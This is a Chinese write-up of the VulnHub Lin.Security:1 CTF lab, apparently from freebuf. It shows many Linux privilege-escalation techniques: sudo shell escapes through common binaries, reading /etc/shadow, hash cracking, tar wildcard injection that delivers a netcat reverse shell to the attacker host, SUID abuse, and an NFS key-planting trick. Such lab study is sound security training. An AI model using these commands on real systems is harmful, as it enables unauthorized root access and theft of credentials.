VulnHub-Lin.Security: 1-靶机渗透学习 – 作者:DXR嗯嗯呐

靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/

靶机难度:中级(CTF)

靶机发布日期:2018年7月11日

靶机描述:

在in.security,我们想要开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级。扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。

我们已将框配置为模拟真实世界的漏洞(尽管位于单个主机上),这将帮助您完善本地特权升级技能,技术和工具集。从相当容易到中级都有许多挑战,我们很高兴看到您用来解决这些挑战的方法!

该图像不到1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入并使用NAT适配器配置名为lin.security的VM,但是可以通过首选虚拟化平台的首选项将其更改为桥接。

首先,您可以使用以下凭据登录主机:bob / secret

目标:得到root权限

作者:DXR嗯嗯呐

信息收集

nmap扫描靶机地址

1610380327_5ffc74279870d7f7caa7c.png!small?1610380326847

根据上面的提示这里靶机存在很多风险,应该是考linux提权方面,我们开始测试

他给出了bob用户,首先用此用户登陆看看

1610380335_5ffc742f035b35fda5223.png!small?1610380334120

方法一:sudo提权

bob用户具备sudo权限

这里介绍一个关于linux提权的网站,都是精华。

ash

一个简单的轻量级的 Shell,占用资源少,适合运行于低内存环境,但是与下面讲到的 bash shell 完全兼容。

Sudo ash

1610380398_5ffc746ed7d41c76314f0.png!small?1610380397791

awk

一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。

sudo awk ‘BEGIN {system(“/bin/sh”)}’

1610380405_5ffc747519cf42e509b83.png!small?1610380403995

bash

bash shell 是 Linux 的默认 shell,本教程也基于 bash 编写。bash 由 GNU 组织开发,保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。

sudo bash

1610380408_5ffc7478dbc0a2af6b306.png!small?1610380407819

csh

sh 之后另一个广为流传的 shell 是由柏克莱大学的 Bill Joy 设计的,这个 shell 的语法有点类似C语言,所以才得名为 C shell ,简称为 csh。

sudo csh

1610380412_5ffc747c81c975abaae17.png!small?1610380411485

curl

在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称curl为下载工具。

sudo curl file:///etc/shadow

1610380418_5ffc74824f6d8575dfe78.png!small?1610380417645

dash

原来bash是GNU/Linux 操作系统中的 /bin/sh 的符号连接,但由于bash过于复杂,有人把 bash 从 NetBSD 移植到 Linux 并更名为 dash,且/bin/sh符号连接到dash。Dash Shell 比 Bash Shell 小的多(ubuntu16.04上,bash大概1M,dash只有150K),符合POSIX标准。Ubuntu 6.10开始默认是Dash。

sudo dash

1610380423_5ffc7487ccbd00d41d3b1.png!small?1610380422809

ed

Linux ed命令是文本编辑器,用于文本编辑。

ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。

ed命令并不是一个常用的命令,一般使用比较多的是vi 指令。但ed文本编辑器对于编辑大文件或对于在shell脚本程序中进行文本编辑很有用。

sudo ed

!/bin/sh

1610380435_5ffc74935de6296a25d78.png!small?1610380434399

env

查询环境变量

sudo env /bin/sh

1610466810_5ffdc5fa199ab9b76690a.png!small?1610466809007

expect

expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式要求输入指定字符串,实现交互通信。

sudo expect -c ‘spawn /bin/sh;interact’

1610380442_5ffc749a8fb4f23753f1a.png!small?1610380441533

find

Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

sudo find . -exec /bin/sh \; -quit

1610380447_5ffc749fe3e8a35b5dc6d.png!small?1610380446888

ftp

Linux ftp命令设置文件系统相关功能。

FTP是ARPANet的标准文件传输协议,该网络就是现今Internet的前身。

sudo ftp

!/bin/sh

1610380452_5ffc74a48b549c83fb370.png!small?1610380451433

Less

less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。

sudo less /etc/passwd

!/bin/sh

1610380469_5ffc74b599786fbcf1733.png!small?1610380468485

1610380465_5ffc74b1866e12180eed1.png!small?1610380464451

Man

Linux提供了丰富的帮助手册,当你需要查看某个命令的参数时不必到处上网查找,只要man一下即可。可以使用man man 查看man的使用方法。

Sudo man man

!/bin/sh

1610380485_5ffc74c596e85e815de8d.png!small?1610380484591

1610380479_5ffc74bfe4d03be26e06f.png!small?1610380478882

More

Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。

Sudo more /etc/passwd

!/bin/sh

1610380492_5ffc74ccf1102ac19f51f.png!small?1610380491948

Scp

Linux scp 命令用于 Linux 之间复制文件和目录。

scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。

TF=$(mktemp)

echo ‘sh 0<&2 1>&2’ > $TF

chmod +x “$TF”

sudo scp -S $TF x y:

1610380499_5ffc74d3e5950e6712274.png!small?1610380499115

socat

socat是一个多功能的网络工具,名字来由是“Socket CAT”,可以看作是netcat的N倍加强版。

sudo socat stdin exec:/bin/sh

1610380504_5ffc74d8d2400140dbb39.png!small?1610380503874

ssh

SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 端口),包括公共秘钥等交换等信息。

sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2′ x

1610380509_5ffc74ddb9816e28e2b3b.png!small?1610380508698

vi

vi 编辑器是 Linux/UNIX 环境下经典的编辑器

sudo vi -c ‘:!/bin/sh’ /dev/null

1610380515_5ffc74e305ca796293f3b.png!small?1610380513939

zsh

Zsh属于Shell中的一种,但比Bash好用,而且完全兼容Bash,拥有及其丰富的插件、强大的自动补全能力、以及自定义功能,可以大大提供我们使用Linux的效率.

sudo zsh

1610380519_5ffc74e79dbe406a08c65.png!small?1610380518544

pico

Linux pico命令用于编辑文字文件。

pico是个简单易用、以显示导向为主的文字编辑程序,它伴随着处理电子邮件和新闻组的程序pine而来。

sudo pico

^R^X

reset; sh 1>&0 2>&0

1610380525_5ffc74ed766482c9f1b5f.png!small?1610380524404

rvim

改进的Vi,一个程序员的文本编辑器

这需要rvim使用Python支持进行编译。前置:py3为Python 3。

sudo rvim -c ‘:python3 import os; os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’

1610380530_5ffc74f297c1f87763a9e.png!small?1610380529487

perl

Perl一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从最初是为文本处理而开发的,现在用于各种任务,包括系统管理,Web开发,网络编程,GUI开发等。

Perl易于使用、高效、完整,而不是美观(小巧,优雅,简约)。同时支持过程和面向对象编程,对文本处理具有强大的内置支持,并且拥有第三方模块之一。 [1]  Perl借取了C、sed、awk、shell脚本语言以及很多其他程序语言的特性,其中最重要的特性是它内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。

sudo perl -e ‘exec “/bin/sh”;’

1610380537_5ffc74f9ad2581fa250d8.png!small?1610380536668

tclsh

tclsh的是含有Tcl解释简单的壳体和可以读取它的标准输入或从文件Tcl命令,并评估它们。

Tcl是一种脚本语言,是一种基于字符串的命令语言,是一种解释性语言。所谓解释性是指不像其他高级语言需要通过编译和联结,而与其他Shell语言一样,直接对每条语句顺序解释执行。

sudo tclsh

exec /bin/sh <@stdin >@stdout 2>@stderr

1610380549_5ffc75054cd32238b29b4.png!small?1610380548204

git

一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。

sudo git -p help config

!/bin/sh

1610380555_5ffc750b9a9a8ca543048.png!small?1610380554598

script

script 是一个神奇命令,script 能够将终端的会话过程录制下来,然后使用 scriptreplay 就可以将其录制的结果播放给他人观看。script 的好处就在于你在终端中的所有操作、敲过的命令和打印出的结果它都可以原原本本地进行录制。可以应用于教学、演示、审计。

sudo script -q /dev/null

1610380560_5ffc7510ae20ffff836dc.png!small?1610380559659

方法二:hash密码破解

在想在linux系统中,用户hash加密的密码存储在/etc/shadow中。如果我们查看/etc/passwd,可以看到以下内容

root:x:0:0:root:/root:/bin/bash

字段

含义

用户名

用户登录系统是使用的用户名

密码

密码位

UID

用户表示号

GID

缺省组标识号

注释性描述

例如存放用户全名等信息

宿主目录

用户登录系统后的缺省目录

命令解释器

用户使用的shell,默认为bash

在靶机是发现passwd文件中存储hash密码

1610380590_5ffc752e2d0edf9c17a75.png!small?1610380589456

使用john或hashcat进行破解

1610380594_5ffc7532b586adeb9df50.png!small?1610380593956

获得账号密码

insecurity/P@ssw0rd

方法三:通配符提权值之tar命令注入

tar命令注入

查看发现靶机中存在一个root权限的每分钟执行一次的定时任务

1610466321_5ffdc411244a4ac0619e7.png!small?1610466320169

看这个脚本的内容,发现使用tar命令分别备份home下的目录

1610466325_5ffdc4156251b9b76a7a2.png!small?1610466324447

我们进入bob用户的家目录

先在kail上生成一个反弹shell

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.3 lport=6666

1610466333_5ffdc41d6b8aa40faee64.png!small?1610466332412

在bob目录下,注入一个标志来指定我们的检查点

echo “” > –checkpoint=1

  • –checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,

将payload写入一个sh文件

echo “mkfifo /tmp/ujwa; nc 192.168.56.3 6666 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&1; rm /tmp/ujwa” > shell.sh

注入一个指定检查点动作的标志

echo “” > “–checkpoint-action=exec=sh shell.sh”

  • –checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
  • –checkpoint-action指定exec:执行外部命令

等待一分钟,我们看到了备份文件时间更新了

1610466377_5ffdc449b9e69bf855d1a.png!small?1610466377098

反弹shell,获得root权限

关于通配符提权,这篇文章写得非常精细,参考。

方法四:SID提权

find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

查询具备SID权限文件

xxd

xxd 命令用于使用二进制或十六进制格式显示文件内容,可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。

1610466434_5ffdc482b3610dc156c30.png!small?1610466434196

使用xxd命令读取shadow

1610466439_5ffdc4879ba62acaf376b.png!small?1610466439187

使用john解码获得root密码

1610466444_5ffdc48c776297425b930.png!small?1610466443777

root/secret123

taskset

taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。

taskset 1 /bin/sh -p

1610466464_5ffdc4a0a5d8e40706504.png!small?1610466463702

方法五:NFS提权

前面nmap端口扫描,发现靶机存在nsf服务

1610466476_5ffdc4ac8f9702d01643c.png!small?1610466475899

showmount 查看一下网络共享文件夹

1610466484_5ffdc4b451d9133e3b65d.png!small?1610466483315

挂着此网络目录

mount -t nfs 192.168.56.10:/home/peter /tmp/nfs/

1610466501_5ffdc4c51ab7c378a5e5f.png!small?1610466500025

1610466506_5ffdc4ca53074e03f84ec.png!small?1610466505330

看到root可以直接访问root目录,但是不能将文件直接拷贝到网络共享目录中

1610466516_5ffdc4d4263ed775a04b2.png!small?1610466515172

1610466527_5ffdc4dfa4d45dd991aaa.png!small?1610466526627

看到目录文件拥有者是test2,看来/home/peter拥有者的UID是1001,那我们修改一下test2用户的GID

groupmod -g 1005 test2

1610466536_5ffdc4e896546a5de42bf.png!small?1610466535518

我们看到了nfs网络共享目录的所属组改为test2

1610466548_5ffdc4f4a073d63555f5e.png!small?1610466548041

创建ssh秘钥

1610468424_5ffdcc48f14ee9c08ab98.png!small?1610468424207

使用test2,将公钥复制到nfs/.ssh目录中并将名称修改为authorized_keys

cp /tmp/authorized_keys authorized_keys

1610468438_5ffdcc5690e32d59ec658.png!small?1610468437657

使用秘钥连接

ssh -i id_rsa [email protected]

1610468470_5ffdcc76875fd136bd73c.png!small?1610468469904

检查发现peter用户具备sudo权限,使用strace提权

strace

strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

sudo strace -o /dev/null /bin/sh

1610468498_5ffdcc9264a007fb91446.png!small?1610468497378

总结

这是对linux提权的总结,真的很丰盛,学习到了。

1sudo提权的总结。

2hash密码的破解。

3chown文件劫持及通配符提权之tar命令提权。

4SID提权。

5NFS网络共享文件提权。

来源:freebuf.com 2021-01-11 23:58:15 by: DXR嗯嗯呐

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论